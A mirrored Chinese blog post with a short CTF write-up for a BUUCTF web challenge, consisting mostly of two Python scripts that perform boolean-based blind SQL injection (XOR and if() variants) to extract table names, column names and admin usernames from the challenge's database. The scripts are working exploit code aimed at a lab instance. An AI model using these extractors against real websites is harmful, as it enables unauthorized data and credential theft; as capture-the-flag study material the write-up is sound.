zoukankan      html  css  js  c++  java
  • [Black Watch 入群题]Web

    [Black Watch 入群题]Web

    布尔盲注,爆出用户密码登录得flag

    抑或

    import requests
    url = "http://28efd88e-90e7-48b0-aa07-9ed14c473b27.node3.buuoj.cn/backend/content_detail.php?id=2^"
    
    name = ""
    i=0
    while True :
    	head = 32
    	tail = 127
    	i += 1
    	while(head<tail):
    		mid = head + tail >> 1
    		payload = "(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
    		payload = "(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d)" %(i,mid)
    		payload = "(ascii(substr((select(group_concat(username))from(admin)),%d,1))>%d)" %(i,mid)
    		
    		r = requests.get(url+payload)
    		#print(url+payload)
    		#print(r.json())
    		if "Yunen" in str(r.json()):
    			head = mid + 1
    		else:
    			tail = mid
    	if head!=32 :
    		name += chr(head)
    		print(name)
    	else:
    		break
    	
    		
    

    if

    import requests
    url = "http://28efd88e-90e7-48b0-aa07-9ed14c473b27.node3.buuoj.cn/backend/content_detail.php?id="
    
    name = ""
    i=0
    while True :
    	head = 32
    	tail = 127
    	i += 1
    	while(head<tail):
    		mid = head + tail >> 1
    		payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" %(i,mid)
    		payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" %(i,mid)
    		payload = "if(ascii(substr((select(group_concat(username))from(admin)),%d,1))>%d,3,2)" %(i,mid)
    		
    		r = requests.get(url+payload)
    		#print(url+payload)
    		#print(r.json())
    		if "Yunen" in str(r.json()):
    			head = mid + 1
    		else:
    			tail = mid
    	if head!=32 :
    		name += chr(head)
    		print(name)
    	else:
    		break	
    

  • 相关阅读:
    oracelp---随意 记录(nvl)
    delphi小知识 点(if条件符,to_date)
    截取字符(pos,copy,Leftstr,MidStr,RightStr)以逗号为准把字符串拆分,判断字符串是否有数字、字母(大小写), 去掉字符串空格
    js HTML DOM TableRow 对象(innerHTML)
    mysql 安装相关
    初识JAVAScript
    css
    css深入
    css的学习
    前端 html
  • 原文地址:https://www.cnblogs.com/h3zh1/p/13057730.html
Copyright © 2011-2022 走看看